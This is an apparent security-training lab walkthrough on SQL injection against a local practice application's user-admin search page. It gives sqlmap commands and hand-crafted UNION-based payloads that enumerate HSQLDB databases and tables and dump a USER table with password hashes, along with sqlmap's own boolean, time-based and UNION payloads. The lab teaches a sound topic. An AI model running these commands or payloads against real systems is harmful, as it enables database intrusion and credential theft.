What You'll Learn

cwe-sqli

https://codecurmudgeon.com/wp/sql-injection-hall-of-shame/

  1. Navigate to http://localhost:8080/user-admin. Authenticate with the default username and password.
  2. Extract the JSESSIONID cookie value from the "DevTools" tab in the browser. For example, in Firefox from the storage tab (see fig 2). You will need this later on, every time you restart the application you will need to extract the new JSESSIONID value.
  3. You should see a table of user accounts and a search box (see fig 1).
  4. You can search for a user by entering a username in the search box. This will invoke a GET request to the user-admin controller with a username query parameter.
  5. You can also UPDATE usernames using the table below the search box. We will leave that for the time being.
  6. What happens if you search for a username with an odd syntax e.g. enter 'test' into the search box and press the search button.
    • Is the input validated?
    • Does the system reveal/expose sensitive information?

user-admin-pagefig 1 - User Admin Page

devtools-storage-tabfig 2 - DevTools Storage Tab

To determine if an attack is possible on the admin page, use the following SQLMap command:

sqlmap -u http://localhost:8080/user-admin\?username\=jblogs --cookie=' JSESSIONID=<ID>'

SQLMap will generate SQL queries, add them to the username parameter, and perform an HTTP Get to the /user-admin endpoint.

This should produce a result similar (or identical) to the below:

sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=jblogs' AND 2495=2495 AND 'mrAX'='mrAX

    Type: time-based blind
    Title: HSQLDB > 2.0 AND time-based blind (heavy query)
    Payload: username=jblogs' AND CHAR(117)||CHAR(69)||CHAR(86)||CHAR(97)=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY(CHAR(65)||CHAR(69)||CHAR(83),NULL),0),500000000),NULL) AND 'vARh'='vARh

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: username=jblogs\' UNION ALL SELECT NULL,CHAR(113)||CHAR(106)||CHAR(120)||CHAR(122)||CHAR(113)||CHAR(79)||CHAR(84)||CHAR(109)||CHAR(88)||CHAR(73)||CHAR(66)||CHAR(109)||CHAR(71)||CHAR(101)||CHAR(120)||CHAR(109)||CHAR(113)||CHAR(111)||CHAR(111)||CHAR(88)||CHAR(88)||CHAR(90)||CHAR(83)||CHAR(101)||CHAR(121)||CHAR(74)||CHAR(88)||CHAR(108)||CHAR(104)||CHAR(109)||CHAR(84)||CHAR(105)||CHAR(113)||CHAR(107)||CHAR(67)||CHAR(121)||CHAR(65)||CHAR(119)||CHAR(115)||CHAR(75)||CHAR(66)||CHAR(72)||CHAR(77)||CHAR(74)||CHAR(69)||CHAR(113)||CHAR(118)||CHAR(112)||CHAR(118)||CHAR(113),NULL,NULL FROM INFORMATION_SCHEMA.SYSTEM_USERS-- ljbB
---
[15:58:28] [INFO] the back-end DBMS is HSQLDB

The initial tests can determine which DBMS you're using. This can be achieved by triggering and looking for errors in the response. For example, if you injected this username into the search field:

'test'

You will see the stack trace contains the name of the DBMS:

Caused by: org.hsqldb.HsqlException: unexpected token: TEST
          at org.hsqldb.error.Error.parseError(Unknown Source)
          at org.hsqldb.ParserBase.unexpectedToken(Unknown Source)
          ...

The stack trace is quite important. This is one way sqlmap can determine a successful attack. There are other ways, the main types are listed below:

  1. boolean-based blind - add a boolean condition to return 0 or all rows - should return a valid response.
  2. error-based: Determining if the SQL is being compiled and run. As the provided SQL is invalid, it should return an error response - if the error is propagated back to the caller in the HTTP response.
  3. stacked-queries - does the endpoint run stacked queries i.e. does it execute multiple queries separated by a ;. This is a powerful exploit, as you can then run arbitrary commands after the semi-colon.
  4. time-based-blind - force the database to sleep, hence the response should take that time to respond, if it does, indicates the dbms ran the query.
  5. union query - append a UNION SELECT statement into the existing parameter, and see if it is executed. This allows joining information from new and arbitrary SELECT statements with the original SELECT statement.

To find all databases, run the SQLMap command:

sqlmap -v --dbs -u http://localhost:8080/user-admin\?username\=jblogs --cookie=' JSESSIONID=<ID>'

This should print out a list of databases to the console:

 available databases [3]:
    [ * ] INFORMATION_SCHEMA
    [ * ] PUBLIC
    [ * ] SYSTEM_LOBS    

HSQLDB only has one database for the user tables namely; PUBLIC.

SQLMap does not need to understand specifics about the response format i.e. HTML. It uses hex characters as control or delimiters to indicate which part of the response it needs to extract. For example, navigate to http://localhost:8080/user-admin and enter the following into the search box:

jblogs' UNION ALL SELECT
   NULL,CHAR(113)||CHAR(122)||CHAR(120)||CHAR(118)||CHAR(113)||IFNULL(CAST(table_schem AS LONGVARCHAR),CHAR(32))||CHAR(113)||CHAR(107)||CHAR(107)||CHAR(120)||CHAR(113),NULL,NULL FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS-- vmzM 

You will see the databases are listed in the accounts table using a prefix of qzxvq and a suffix of qkkxq. It is then able to parse the databases out of the raw HTML text.

To find all the tables in one of the returned databases (PUBLIC here), run the SQLMap command:

sqlmap -v --tables -D PUBLIC -u http://localhost:8080/user-admin\?username\=jblogs --cookie=' JSESSIONID='

You should see an output similar to below:

 [3 tables]
+------------------------+
|   USER                 |
|   ITEM                  |
|   USER_ROLES  |
+-------------------------+

This attack runs several queries to discover all the possible tables in the PUBLIC database. For example, you can try this in the search box:

jblogs' UNION ALL SELECT NULL,(SELECT LIMIT 0 1
  CHAR(113)||CHAR(120)||CHAR(122)||CHAR(122)||CHAR(113)||IFNULL(CAST(table_name AS LONGVARCHAR),CHAR(32))||CHAR(113)||CHAR(98)||CHAR(112)||CHAR(107)||CHAR(113) FROM
  INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem IN
  (CHAR(80)||CHAR(85)||CHAR(66)||CHAR(76)||CHAR(73)||CHAR(67)) ORDER BY table_schem),NULL,NULL FROM
  INFORMATION_SCHEMA.SYSTEM_USERS-- vDEk'
sqlmap --dump -T USER -D PUBLIC -u http://localhost:8080/user-admin\?username\=jblogs --cookie='JSESSIONID=<ID>'
Database: PUBLIC
Table: USER
[2 entries]
+-------+--------------+-----------------------------------------------------------------------+----------------------+
|  ID   |  ENABLED   | PASSWORD                                                               |    USERNAME   |
+-------+--------------+-----------------------------------------------------------------------+----------------------+
|   0   |  TRUE        | 5f4dcc3b5aa765d61d8327deb882cf99                        |     jblogs            |
|   1   |  TRUE        | c50672216e6be50f327c7df719784fe3                         |     jones             |
+-------+--------------+-----------------------------------------------------------------------+----------------------+
sqlmap --dump -T USER -D PUBLIC --passwords -u http://localhost:8080/user-admin\?username\=jblogs --cookie='JSESSIONID=<ID>'
sqlmap --flush-session --dump -T USER -D PUBLIC --passwords -u http://localhost:8080/user-admin\?username\=jblogs --cookie='JSESSIONID=<ID>'